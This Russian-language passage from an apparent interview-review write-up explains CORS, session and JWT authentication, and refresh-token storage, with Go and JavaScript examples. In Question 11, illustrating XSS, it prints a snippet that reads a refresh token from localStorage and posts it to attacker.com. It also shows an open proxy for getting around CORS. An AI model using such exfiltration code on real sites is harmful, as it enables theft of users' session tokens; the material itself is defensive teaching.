w.WriteHeader(http.StatusNoContent)
return
}

next.ServeHTTP(w, r)
})
}
}

// Использование
mux.Handle("/api/upload", corsWithHeaders([]string{
"Content-Type",
"Authorization",
"X-Upload-Id", // кастомный заголовок для загрузки файлов
})(uploadHandler()))

Практический пример с использованием rs/cors:

package main

import (
"net/http"
"github.com/rs/cors"
)

func main() {
mux := http.NewServeMux()

// Публичный endpoint — только GET для всех
mux.HandleFunc("/api/health", healthHandler)

// API с авторизацией — несколько методов для конкретного origin
mux.HandleFunc("/api/users", usersHandler)

mux.HandleFunc("/api/users/", userHandler)

// Настраиваем CORS с разными правилами
c := cors.New(cors.Options{
AllowedOrigins: []string{"https://mysite.com", "https://app.mysite.com"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE"},
AllowedHeaders: []string{"Content-Type", "Authorization"},
ExposedHeaders: []string{"X-Total-Count", "X-Page-Count"},
AllowCredentials: true,
MaxAge: 86400,
// Функция для кастомной проверки origin
AllowOriginFunc: func(origin string) bool {
return strings.HasPrefix(origin, "https://")
},
})

handler := c.Handler(mux)
http.ListenAndServe(":8080", handler)
}

Использование нескольких CORS-конфигураций:

func main() {
mux := http.NewServeMux()

// Разные конфигурации для разных групп endpoints
publicCORS := cors.New(cors.Options{
AllowedOrigins: []string{"*"},
AllowedMethods: []string{"GET"},
})

privateCORS := cors.New(cors.Options{
AllowedOrigins: []string{"https://mysite.com"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE"},
AllowedHeaders: []string{"Content-Type", "Authorization"},
AllowCredentials: true,
})

adminCORS := cors.New(cors.Options{
AllowedOrigins: []string{"https://admin.mysite.com"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "PATCH"},
AllowedHeaders: []string{"Content-Type", "Authorization", "X-Admin-Token"},
AllowCredentials: true,
})

// Применяем разные middleware
mux.Handle("/api/public/", publicCORS.Handler(http.StripPrefix("/api/public", publicHandler())))
mux.Handle("/api/", privateCORS.Handler(apiHandler()))
mux.Handle("/admin/", adminCORS.Handler(adminHandler()))

http.ListenAndServe(":8080", mux)
}

Итог:

CORS — не монолитная настройка. Сервер может настроить разные правила для разных endpoint, методов, заголовков и origin. Это позволяет реализовать гибкую политику безопасности: публичные API открыты для всех, приватные — только для доверенных клиентов.

Вопрос 10. Какие способы аутентификации и авторизации пользователей существуют и какие использовались на проектах?

Таймкод: 00:12:59

Ответ собеседника: Неполный. Использовал JWT-авторизацию с access и refresh токенами. Access токен прикреплялся к запросам через заголовки, refresh токен использовался для получения новой пары токенов. Refresh токен хранился в localStorage. При получении ошибки 401 через интерцепторы отправлялся refresh токен для обновления пары, после чего запрос повторялся с новым access токеном.

Правильный ответ:

Ответ собеседника описывает конкретный опыт, но не охватывает полный спектр методов аутентификации и авторизации. Ниже приведён обзор основных подходов.

Аутентификация (подтверждение личности):

1. На основе сессий (Session-based)

Сервер хранит состояние сессии, клиент получает session ID в cookie:

package main

import (
"net/http"
"github.com/gorilla/sessions"
)

var store = sessions.NewCookieStore([]byte("secret-key"))

func loginHandler(w http.ResponseWriter, r *http.Request) {
// Проверка логина/пароля
user := authenticate(r.FormValue("username"), r.FormValue("password"))
if user == nil {
http.Error(w, "Invalid credentials", http.StatusUnauthorized)
return
}

session, _ := store.Get(r, "session-name")
session.Values["user_id"] = user.ID
session.Values["authenticated"] = true
session.Save(r, w)

http.Redirect(w, r, "/dashboard", http.StatusFound)
}

func authMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
session, _ := store.Get(r, "session-name")
if auth, ok := session.Values["authenticated"].(bool); !ok || !auth {
http.Redirect(w, r, "/login", http.StatusFound)
return
}
next.ServeHTTP(w, r)
})
}

Преимущества: простота, возможность мгновенной отзыва сессии. Недостатки: масштабируемость (хранение сессий), уязвимость к CSRF.

2. JWT (JSON Web Tokens)

Статeless-подход: токен содержит всю необходимую информацию:

package main

import (
"time"
"github.com/golang-jwt/jwt/v5"
)

var jwtSecret = []byte("your-secret-key")

type Claims struct {
UserID int `json:"user_id"`
Role string `json:"role"`
jwt.RegisteredClaims
}

func generateToken(userID int, role string) (string, error) {
claims := Claims{
UserID: userID,
Role: role,
RegisteredClaims: jwt.RegisteredClaims{
ExpiresAt: jwt.NewNumericDate(time.Now().Add(15 * time.Minute)),
IssuedAt: jwt.NewNumericDate(time.Now()),
Issuer: "myapp",
},
}

token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString(jwtSecret)
}

func validateToken(tokenString string) (*Claims, error) {
token, err := jwt.ParseWithClaims(tokenString, &Claims{}, func(token *jwt.Token) (interface{}, error) {
return jwtSecret, nil
})
if err != nil {
return nil, err
}

if claims, ok := token.Claims.(*Claims); ok && token.Valid {
return claims, nil
}
return nil, jwt.ErrSignatureInvalid
}

func authMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
tokenString := r.Header.Get("Authorization")
if len(tokenString) > 7 && tokenString[:7] == "Bearer " {
tokenString = tokenString[7:]
}

claims, err := validateToken(tokenString)
if err != nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}

// Добавляем claims в контекст
ctx := context.WithValue(r.Context(), "user_id", claims.UserID)
ctx = context.WithValue(ctx, "role", claims.Role)
next.ServeHTTP(w, r.WithContext(ctx))
})
}

3. OAuth 2.0 / OpenID Connect

Делегированная авторизация через сторонние провайдеры (Google, GitHub и т.д.):

package main

import (
"net/http"
"golang.org/x/oauth2"
"golang.org/x/oauth2/google"
)

var oauthConfig = &oauth2.Config{
ClientID: "your-client-id",
ClientSecret: "your-client-secret",
RedirectURL: "https://mysite.com/auth/callback",
Scopes: []string{"openid", "profile", "email"},
Endpoint: google.Endpoint,
}

func loginHandler(w http.ResponseWriter, r *http.Request) {
url := oauthConfig.AuthCodeURL("state-token", oauth2.AccessTypeOffline)
http.Redirect(w, r, url, http.StatusFound)
}

func callbackHandler(w http.ResponseWriter, r *http.Request) {
code := r.URL.Query().Get("code")

token, err := oauthConfig.Exchange(r.Context(), code)
if err != nil {
http.Error(w, "Failed to exchange token", http.StatusInternalServerError)
return
}

// Получаем информацию о пользователе
client := oauthConfig.Client(r.Context(), token)
resp, _ := client.Get("https://www.googleapis.com/oauth2/v2/userinfo")
// Обработка данных пользователя...
}

4. API Keys

Простой подход для сервис-сервисного взаимодействия:

func apiKeyMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
apiKey := r.Header.Get("X-API-Key")
if apiKey == "" {
http.Error(w, "API key required", http.StatusUnauthorized)
return
}

// Проверка ключа в базе данных
client, err := validateAPIKey(apiKey)
if err != nil {
http.Error(w, "Invalid API key", http.StatusUnauthorized)
return
}

ctx := context.WithValue(r.Context(), "client", client)
next.ServeHTTP(w, r.WithContext(ctx))
})
}

5. Basic Authentication

Базовая HTTP-аутентификация (редко используется в production):

func basicAuthMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
username, password, ok := r.BasicAuth()
if !ok || !validateCredentials(username, password) {
w.Header().Set("WWW-Authenticate", `Basic realm="Restricted"`)
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
next.ServeHTTP(w, r)
})
}

Авторизация (определение прав доступа):

1. RBAC (Role-Based Access Control)

func requireRole(roles ...string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
userRole := r.Context().Value("role").(string)

for _, role := range roles {
if userRole == role {
next.ServeHTTP(w, r)
return
}
}

http.Error(w, "Forbidden", http.StatusForbidden)
})
}
}

// Использование
mux.Handle("/admin/", requireRole("admin")(adminHandler()))
mux.Handle("/editor/", requireRole("admin", "editor")(editorHandler()))

2. ABAC (Attribute-Based Access Control)

Более гибкий подход на основе атрибутов:

func authorize(resource, action string) func(http.Handler) http.Handler {
return func(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
userID := r.Context().Value("user_id").(int)
userRole := r.Context().Value("role").(string)

if !checkPermission(userID, userRole, resource, action) {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}

next.ServeHTTP(w, r)
})
}
}

Рекомендации по хранению токенов:

  • Access token: в памяти (JavaScript-переменная) или httpOnly cookie
  • Refresh token: httpOnly cookie (не localStorage — уязвимо к XSS)
  • Использовать короткий срок жизни access token (5–15 минут)
  • Refresh token — длинный срок, но с возможностью отзыва

Сравнение подходов:

МетодStatefulМасштабируемостьСложностьСценарий
СессииДаНизкаяНизкаяМонолитные приложения
JWTНетВысокаяСредняяМикросервисы, SPA
OAuth 2.0НетВысокаяВысокаяИнтеграция с внешними сервисами
API KeysНетВысокаяНизкаяAPI для разработчиков

Вопрос 11. Правильно ли хранить refresh токен в localStorage и где его лучше хранить с точки зрения безопасности?

Таймкод: 00:16:05

Ответ собеседника: Неполный. Признал, что хранение в localStorage не самый безопасный вариант. Предложил хранить в httpOnly cookies с параметром secure для защиты от XSS-атак, так как JavaScript не сможет получить доступ к такому токену.

Правильный ответ:

Хранение refresh token в localStorage — это антипаттерн с точки зрения безопасности. Ниже подробный разбор проблем и рекомендаций.

Проблемы с localStorage:

1. Уязвимость к XSS (Cross-Site Scripting)

Любой JavaScript-код, выполняющийся на странице, имеет доступ к localStorage:

// Злоумышленник, внедривший скрипт через XSS:
const token = localStorage.getItem('refresh_token');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ token })
});

httpOnly cookies недоступны из JavaScript, что исключает этот вектор атаки.

2. Отсутствие встроенной защиты

localStorage не имеет механизмов:

  • Автоматического истечения срока действия
  • Привязки к домену
  • Шифрования

Рекомендуемые подходы к хранению:

1. Refresh token в httpOnly cookie (рекомендуемый подход)

// Серверная сторона — установка refresh token в cookie
func setRefreshTokenCookie(w http.ResponseWriter, refreshToken string) {
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: refreshToken,
Path: "/api/auth/refresh", // Только для endpoint обновления
MaxAge: 7 * 24 * 3600, // 7 дней
HttpOnly: true, // Недоступно из JavaScript
Secure: true, // Только по HTTPS
SameSite: http.SameSiteStrictMode, // Защита от CSRF
})
}

// Endpoint для обновления токенов
func refreshHandler(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("refresh_token")
if err != nil {
http.Error(w, "No refresh token", http.StatusUnauthorized)
return
}

// Валидация refresh token
claims, err := validateRefreshToken(cookie.Value)
if err != nil {
http.Error(w, "Invalid refresh token", http.StatusUnauthorized)
return
}

// Проверка, не отозван ли токен
if isTokenRevoked(cookie.Value) {
http.Error(w, "Token revoked", http.StatusUnauthorized)
return
}

// Генерация новой пары токенов
newAccessToken, _ := generateAccessToken(claims.UserID, claims.Role)
newRefreshToken, _ := generateRefreshToken(claims.UserID)

// Отзываем старый refresh token (rotation)
revokeToken(cookie.Value)

// Устанавливаем новый refresh token
setRefreshTokenCookie(w, newRefreshToken)

// Отправляем access token в ответе
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{
"access_token": newAccessToken,
})
}

2. Access token в памяти (JavaScript-переменная)

// Клиентская сторона
let accessToken = null;

async function login(credentials) {
const response = await fetch('/api/auth/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(credentials),
credentials: 'include' // Важно для отправки cookies
});

const data = await response.json();
accessToken = data.access_token; // Храним в памяти
}

async function fetchWithAuth(url, options = {}) {
// Добавляем access token к запросу
options.headers = {
...options.headers,
'Authorization': `Bearer ${accessToken}`,
};
options.credentials = 'include';

let response = await fetch(url, options);

// Если истёк — обновляем
if (response.status === 401) {
await refreshTokens();
options.headers['Authorization'] = `Bearer ${accessToken}`;
response = await fetch(url, options);
}

return response;
}

async function refreshTokens() {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // Отправляем httpOnly cookie
});

if (!response.ok) {
// Перенаправляем на логин
window.location = '/login';
return;
}

const data = await response.json();
accessToken = data.access_token;
}

Rotation токенов (дополнительная защита):

При каждом обновлении refresh token старый отзывается:

type TokenStore struct {
db *sql.DB
}

func (s *TokenStore) RevokeToken(tokenID string) error {
_, err := s.db.Exec("UPDATE refresh_tokens SET revoked = true WHERE id = $1", tokenID)
return err
}

func (s *TokenStore) IsRevoked(tokenID string) bool {
var revoked bool
s.db.QueryRow("SELECT revoked FROM refresh_tokens WHERE id = $1", tokenID).Scan(&revoked)
return revoked
}

func (s *TokenStore) SaveToken(userID int, tokenID string, expiresAt time.Time) error {
_, err := s.db.Exec(
"INSERT INTO refresh_tokens (id, user_id, expires_at) VALUES ($1, $2, $3)",
tokenID, userID, expiresAt,
)
return err
}

Защита от CSRF при использовании cookies:

// SameSite атрибут cookie
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
// ...
SameSite: http.SameSiteStrictMode, // или LaxMode
})

// Дополнительно — CSRF token для мутирующих запросов
func csrfMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodGet && r.Method != http.MethodHead {
csrfToken := r.Header.Get("X-CSRF-Token")
if !validateCSRFToken(csrfToken) {
http.Error(w, "Invalid CSRF token", http.StatusForbidden)
return
}
}
next.ServeHTTP(w, r)
})
}

Сравнение подходов:

ПодходXSS защитаCSRF защитаСложностьРекомендация
localStorageНетНе нужнаНизкаяНе рекомендуется
httpOnly cookie + memoryДаНужнаСредняяРекомендуется
httpOnly cookie + CSRF tokenДаДаВысокаяМаксимальная безопасность
BFF (Backend for Frontend)ДаДаВысокаяEnterprise-решения

Итог:

Оптимальная стратегия:

  • Refresh token: httpOnly, Secure, SameSite=Strict cookie
  • Access token: JavaScript-переменная в памяти (не сохралять в localStorage/sessionStorage)
  • Rotation: отзыв старого refresh token при каждом обновлении
  • Короткий срок: access token — 5–15 минут, refresh token — дни/недели

Вопрос 12. Обязательно ли отправлять refresh токен с каждым запросом и можно ли настроить отправку только для определённых запросов?

Таймкод: 00:17:17

Ответ собеседния: Неполный. Уточнил, что access токен прикрепляется к заголовку каждого запроса, а refresh используется только при получении ошибки 401. На вопрос о выборочной отправке предположил, что можно настроить параметры cookie, например path, чтобы ограничить отправку определёнными маршрутами.

Правильный ответ:

Ответ собеседника в целом верен. Ниже приведено более детальное описание.

Различие между access и refresh токенами:

Access token — отправляется с каждым запросом к защищённым ресурсам через заголовок:

Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

Refresh token — отправляется только на endpoint обновления токенов, а не с каждым запросом. Это принципиальное различие.

Как работает процесс:

Клиент Сервер
| |
|--- GET /api/data ------------>| (с access token)
|<-- 401 Unauthorized ----------| (access token истёк)
| |
|--- POST /api/auth/refresh --->| (с refresh token в cookie)
|<-- { access_token: "new" } ---| (новая пара токенов)
| |
|--- GET /api/data ------------>| (с новым access token)
|<-- 200 OK + data -------------|

Настройка отправки refresh token только для определённых маршрутов:

1. Параметр Path в cookie:

func setRefreshTokenCookie(w http.ResponseWriter, refreshToken string) {
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: refreshToken,
Path: "/api/auth", // Только для /api/auth/*
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteStrictMode,
MaxAge: 7 * 24 * 3600,
})
}

При такой настройке cookie будет отправляться только для:

  • /api/auth/refresh
  • /api/auth/logout
  • /api/auth/any-path

Но не для:

  • /api/users
  • /api/data
  • /

2. Раздельные endpoints:

func main() {
mux := http.NewServeMux()

// Публичные маршруты — без авторизации
mux.HandleFunc("/api/health", healthHandler)
mux.HandleFunc("/api/auth/login", loginHandler)
mux.HandleFunc("/api/auth/register", registerHandler)

// Endpoint для обновления — refresh token нужен только здесь
mux.HandleFunc("/api/auth/refresh", refreshHandler)
mux.HandleFunc("/api/auth/logout", logoutHandler)

// Защищённые маршруты — только access token
protected := http.NewServeMux()
protected.HandleFunc("/api/users", usersHandler)
protected.HandleFunc("/api/data", dataHandler)

// Применяем middleware с access token
mux.Handle("/api/", authMiddleware(protected))

http.ListenAndServe(":8080", mux)
}

3. Полная реализация refresh endpoint:

func refreshHandler(w http.ResponseWriter, r *http.Request) {
// Получаем refresh token из cookie (отправляется автоматически браузером)
cookie, err := r.Cookie("refresh_token")
if err != nil {
http.Error(w, "No refresh token", http.StatusUnauthorized)
return
}

// Валидация
claims, err := validateRefreshToken(cookie.Value)
if err != nil {
http.Error(w, "Invalid refresh token", http.StatusUnauthorized)
return
}

// Проверка в базе данных
if !isValidInDB(cookie.Value) {
// Возможно, токен был украден — отзываем все токены пользователя
revokeAllUserTokens(claims.UserID)
http.Error(w, "Token reuse detected", http.StatusUnauthorized)
return
}

// Генерация новой пары
newAccess, _ := generateAccessToken(claims.UserID, claims.Role)
newRefresh, _ := generateRefreshToken(claims.UserID)

// Rotation: отзываем старый, сохраняем новый
revokeToken(cookie.Value)
saveToken(claims.UserID, newRefresh)

// Устанавливаем новый refresh token в cookie
http.SetCookie(w, &http.Cookie{
Name: "refresh_token",
Value: newRefresh,
Path: "/api/auth",
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteStrictMode,
MaxAge: 7 * 24 * 3600,
})

// Отправляем access token в теле ответа
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{
"access_token": newAccess,
})
}

Клиентская сторона — интерцептор:

let accessToken = null;
let isRefreshing = false;
let failedQueue = [];

async function fetchWithAuth(url, options = {}) {
options.headers = {
...options.headers,
'Authorization': `Bearer ${accessToken}`,
};

let response = await fetch(url, options);

if (response.status === 401) {
if (!isRefreshing) {
isRefreshing = true;

try {
const refreshed = await refreshTokens();
accessToken = refreshed.access_token;
isRefreshing = false;

// Повторяем запросы из очереди
failedQueue.forEach(cb => cb(accessToken));
failedQueue = [];

// Повторяем текущий запрос
options.headers['Authorization'] = `Bearer ${accessToken}`;
response = await fetch(url, options);
} catch (err) {
// Refresh не удался — перенаправляем на логин
window.location = '/login';
throw err;
}
} else {
// Ждём завершения обновления
return new Promise((resolve) => {
failedQueue.push((newToken) => {
options.headers['Authorization'] = `Bearer ${newToken}`;
resolve(fetch(url, options));
});
});
}
}

return response;
}

async function refreshTokens() {
// Cookie отправится автоматически, только если path совпадает
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include',
});

if (!response.ok) {
throw new Error('Refresh failed');
}

return response.json();
}

Важные нюансы:

  • Refresh token никогда не отправляется на обычные API endpoints
  • Cookie с Path /api/auth отправляется только на /api/auth/*
  • Access token всегда отправляется в заголовке Authorization
  • При использовании cookie не нужно явно прикреплять refresh token — браузер делает это автоматически

Вопрос 13. CORS — это браузерная или серверная политика защиты, от кого и для кого она предназначена?

Таймкод: 00:18:39

Ответ собеседника: Правильный. CORS — это браузерная политика защиты. Предназначена для предотвращения отправки запросов с одного домена на другой мошенническими сайтами. Например, чтобы скопированный сайт не мог получить данные с оригинального сайта и вывести их у себя.

Правильный ответ:

Ответ собеседника корректен. Ниже приведено более детальное описание.

Кто реализует CORS:

CORS — это браузерный механизм. Браузер проверяет заголовки ответа и решает, предоставить ли JavaScript-коду доступ к ответу.

Кто настраивает CORS:

Сервер настраивает заголовки CORS, определяя, каким клиентам разрешён доступ:

Сервер → устанавливает заголовки CORS
Браузер → проверяет заголовки и блокирует/разрешает доступ

От кого защищает CORS:

CORS защищает владельца API и его пользователей от злонамеренных сайтов:

Сценарий атаки без CORS:

1. Пользователь авторизован на https://bank.com
2. Пользователь открывает вкладку с https://evil-site.com
3. evil-site.com выполняет JavaScript-запрос к https://bank.com/api/balance
4. Браузер автоматически прикрепляет cookies bank.com к запросу
5. Сервер bank.com отвечает с данными о балансе
6. evil-site.com получает данные и отправляет их злоумышленнику

С CORS:

1-4. То же самое
5. Сервер bank.com отвечает, но без заголовка Access-Control-Allow-Origin
6. Браузер блокирует доступ JavaScript к ответу
7. evil-site.com не может прочитать данные

Важные нюансы:

1. CORS не защищает от серверных запросов

CORS работает только в браузере. curl, Postman, серверные запросы не проверяют CORS:

# CORS не применяется — запрос пройдёт
curl -H "Origin: https://evil-site.com" https://api.example.com/data

2. CORS не заменяет аутентификацию

CORS — дополнительный уровень защиты, а не замена проверке токенов на сервере:

// Неправильно: полагаться только на CORS
func handler(w http.ResponseWriter, r *http.Request) {
// CORS разрешил — но всё равно нужно проверить авторизацию!
claims := validateToken(r.Header.Get("Authorization"))
if claims == nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
// ... обработка запроса
}

3. CORS защищает от чтения ответов, но не от отправки запросов

Некоторые запросы (простые) всё равно достигают сервера — браузер блокирует только чтение ответа.

Итог:

CORS — это браузерный механизм, который:

  • Реализуется браузером
  • Настраивается сервером
  • Защищает пользователей и владельцев API от злонамеренных сайтов
  • Не является заменой аутентификации и авторизации
  • Работает только в браузерном контексте

Вопрос 14. Можно ли обойти ограничения CORS, отправив запрос через Postman или аналогичный инструмент?

Таймкод: 00:19:27

Ответ собеседника: Правильный. Да, через Postman CORS-ошибки не возникают, так как CORS — это браузерная политика, а Postman не является браузером и не применяет эти ограничения.

Правильный ответ:

Ответ собеседника полностью верен. Ниже приведено дополнительное пояснение.

Почему Postman обходит CORS:

CORS — это механизм безопасности, реализованный исключительно в браузерах. Postman, curl, серверные приложения и другие HTTP-клиенты отправляют запросы напрямую, минуя браузерные проверки.

Что это значит на практике:

# curl — CORS не применяется
curl -X GET https://api.example.com/data \
-H "Origin: https://any-site.com"

# Сервер на Go — запрос обработается без проверки CORS
func handler(w http.ResponseWriter, r *http.Request) {
// Этот код выполнится независимо от заголовка Origin
// CORS-проверка — ответственность браузера, не сервера
w.Write([]byte(`{"data": "response"}`))
}

Другие способы обхода CORS:

1. Прокси-сервер:

// Простой прокси на Go
func proxyHandler(w http.ResponseWriter, r *http.Request) {
targetURL := r.URL.Query().Get("url")

// Создаём запрос к целевому серверу
req, _ := http.NewRequest(r.Method, targetURL, r.Body)

// Копируем заголовки
for key, values := range r.Header {
for _, value := range values {
req.Header.Add(key, value)
}
}

// Отправляем запрос сервер-к-серверу (без CORS)
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
defer resp.Body.Close()

// Копируем ответ
for key, values := range resp.Header {
for _, value := range values {
w.Header().Add(key, value)
}
}
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body)
}

2. CORS-прокси в разработке:

// В development можно использовать прокси в vite/webpack
// vite.config.js
export default {
server: {
proxy: {
'/api': {
target: 'https://api.example.com',
changeOrigin: true,
rewrite: (path) => path.replace(/^\/api/, ''),
}
}
}
}

3. Расширения браузера:

Расширения типа CORS Unblock могут модифицировать заголовки, но это небезопасно и не рекомендуется.

Почему это не делает CORS бесполезным:

CORS защищает именно браузерный контекст — сценарий, когда злонамеренный сайт пытается получить доступ к данным пользователя через его браузер с его cookies:

Браузер пользователя:
https://evil-site.com → https://bank.com/api/balance
↑ CORS блокирует чтение ответа

Сервер злоумышленника:
https://evil-site.com/server → https://bank.com/api/balance
↑ CORS не применяется, но cookies пользователя нет → 401

Важный вывод:

CORS — не механизм защиты API от неавторизованных запросов. Это механизм защиты пользователей в браузере. Сервер всегда должен проверять аутентификацию и авторизацию независимо от CORS:

func secureHandler(w http.ResponseWriter, r *http.Request) {
// CORS заголовки — для браузера
w.Header().Set("Access-Control-Allow-Origin", "https://mysite.com")

// Аутентификация — обязательно для всех клиентов
token := r.Header.Get("Authorization")
claims, err := validateToken(token)
if err != nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}

// Авторизация — проверка прав
if claims.Role != "admin" {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}

// ... обработка запроса
}

Вопрос 15. Что такое сессионная авторизация и чем она отличается от токенной?

Таймкод: 00:19:56

Ответ собеседника: Неполный. Сессии сохраняются в базе данных на сервере. Выразил мнение, что этот подход кажется тяжёлым, но не смог подробно объяснить разницу между сессионной и токенной авторизацией, механизм работы сессий.

Правильный ответ:

Сессионная авторизация (Session-based):

Сервер хранит состояние сессии, клиент получает только идентификатор.

Механизм работы:

1. Логин:
Клиент → POST /login {username, password} → Сервер
Сервер → Создаёт сессию в БД/кэше → Отправляет session_id в cookie

2. Запросы:
Клиент → GET /api/data (cookie: session_id=abc123) → Сервер
Сервер → Ищет сессию abc123 в БД → Получает user_id → Отвечает

3. Логаут:
Клиент → POST /logout → Сервер
Сервер → Удаляет сессию из БД → Очищает cookie

Реализация на Go:

package main

import (
"crypto/rand"
"encoding/hex"
"net/http"
"sync"
"time"
)

type Session struct {
UserID int
Username string
ExpiresAt time.Time
}

type SessionStore struct {
mu sync.RWMutex
sessions map[string]Session
}

func NewSessionStore() *SessionStore {
store := &SessionStore{
sessions: make(map[string]Session),
}
// Периодическая очистка истёкших сессий
go store.cleanup()
return store
}

func (s *SessionStore) Create(userID int, username string) string {
sessionID := generateSessionID()

s.mu.Lock()
s.sessions[sessionID] = Session{
UserID: userID,
Username: username,
ExpiresAt: time.Now().Add(24 * time.Hour),
}
s.mu.Unlock()

return sessionID
}

func (s *SessionStore) Get(sessionID string) (Session, bool) {
s.mu.RLock()
session, exists := s.sessions[sessionID]
s.mu.RUnlock()

if !exists || time.Now().After(session.ExpiresAt) {
return Session{}, false
}

return session, true
}

func (s *SessionStore) Delete(sessionID string) {
s.mu.Lock()
delete(s.sessions, sessionID)
s.mu.Unlock()
}

func (s *SessionStore) cleanup() {
ticker := time.NewTicker(5 * time.Minute)
for range ticker.C {
s.mu.Lock()
for id, session := range s.sessions {
if time.Now().After(session.ExpiresAt) {
delete(s.sessions, id)
}
}
s.mu.Unlock()
}
}

func generateSessionID() string {
bytes := make([]byte, 32)
rand.Read(bytes)
return hex.EncodeToString(bytes)
}

var store = NewSessionStore()

func loginHandler(w http.ResponseWriter, r *http.Request) {
username := r.FormValue("username")
password := r.FormValue("password")

user := authenticate(username, password)
if user == nil {
http.Error(w, "Invalid credentials", http.StatusUnauthorized)
return
}

sessionID := store.Create(user.ID, user.Username)

http.SetCookie(w, &http.Cookie{
Name: "session_id",
Value: sessionID,
Path: "/",
HttpOnly: true,
Secure: true,
SameSite: http.SameSiteLaxMode,
MaxAge: 24 * 3600,
})

w.Write([]byte("Logged in"))
}

func authMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
cookie, err := r.Cookie("session_id")
if err != nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}

session, valid := store.Get(cookie.Value)
if !valid {
http.Error(w, "Session expired", http.StatusUnauthorized)
return
}

ctx := context.WithValue(r.Context(), "user_id", session.UserID)
next.ServeHTTP(w, r.WithContext(ctx))
})
}

Хранение сессий в Redis (production-подход):

import "github.com/go-redis/redis/v8"

type RedisSessionStore struct {
client *redis.Client
ctx context.Context
}

func NewRedisSessionStore(addr string) *RedisSessionStore {
return &RedisSessionStore{
client: redis.NewClient(&redis.Options{
Addr: addr,
}),
ctx: context.Background(),
}
}

func (s *RedisSessionStore) Create(userID int, username string) (string, error) {
sessionID := generateSessionID()
key := "session:" + sessionID

data := map[string]interface{}{
"user_id": userID,
"username": username,
}

err := s.client.HSet(s.ctx, key, data).Err()
if err != nil {
return "", err
}

// TTL 24 часа
s.client.Expire(s.ctx, key, 24*time.Hour)

return sessionID, nil
}

func (s *RedisSessionStore) Get(sessionID string) (Session, bool) {
key := "session:" + sessionID

data, err := s.client.HGetAll(s.ctx, key).Result()
if err != nil || len(data) == 0 {
return Session{}, false
}

userID, _ := strconv.Atoi(data["user_id"])
return Session{
UserID: userID,
Username: data["username"],
}, true
}

func (s *RedisSessionStore) Delete(sessionID string) error {
key := "session:" + sessionID
return s.client.Del(s.ctx, key).Err()
}

Токенная авторизация (Token-based, JWT):

Сервер не хранит состояние — вся информация в токене.

// JWT — самодостаточный токен
type Claims struct {
UserID int `json:"user_id"`
Role string `json:"role"`
jwt.RegisteredClaims
}

func generateToken(userID int, role string) (string, error) {
claims := Claims{
UserID: userID,
Role: role,
RegisteredClaims: jwt.RegisteredClaims{
ExpiresAt: jwt.NewNumericDate(time.Now().Add(15 * time.Minute)),
},
}
return jwt.NewWithClaims(jwt.SigningMethodHS256, claims).SignedString(secret)
}

// Сервер не хранит токены — только проверяет подпись
func authMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
tokenString := extractToken(r)
claims, err := validateToken(tokenString)
if err != nil {
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
ctx := context.WithValue(r.Context(), "user_id", claims.UserID)
next.ServeHTTP(w, r.WithContext(ctx))
})
}

Сравнение подходов:

КритерийСессииJWT
Хранение состоянияСервер (БД/Redis)Клиент (токен)
Stateful/StatelessStatefulStateless
МасштабируемостьНужна общая хранилищеНе нужно
Отзыв мгновенныйДа (удалить сессию)Нет (токен действителен до истечения)
Рмер данныхМаленький session_idБольше (claims в токене)
СложностьСредняяНизкая
ПроизводительностьЗапрос к БД на каждый запросТолько проверка подписи

Когда что использовать:

  • Сессии: монолитные приложения, нужен мгновенный отзыв, простая инфраструктура
  • JWT: микросервисы, мобильные приложения, распределённые системы, высокая масштабируемость

Гибридный подход (JWT + отзыв):

// JWT с возможностью отзыва через blacklist в Redis
func isTokenRevoked(jti string) bool {
exists, _ := redisClient.Exists(ctx, "revoked:"+jti).Result()
return exists > 0
}

func revokeToken(jti string, expiresAt time.Time) {
ttl := time.Until(expiresAt)
redisClient.Set(ctx, "revoked:"+jti, "1", ttl)
}

Этот подход сочетает stateless-преимущества JWT с возможностью отзыва через компактный blacklist.

Вопрос 16. Как идентифицировать неавторизованного пользователя между визитами, чтобы он мог совершать покупки без регистрации?

Таймкод: 00:20:35

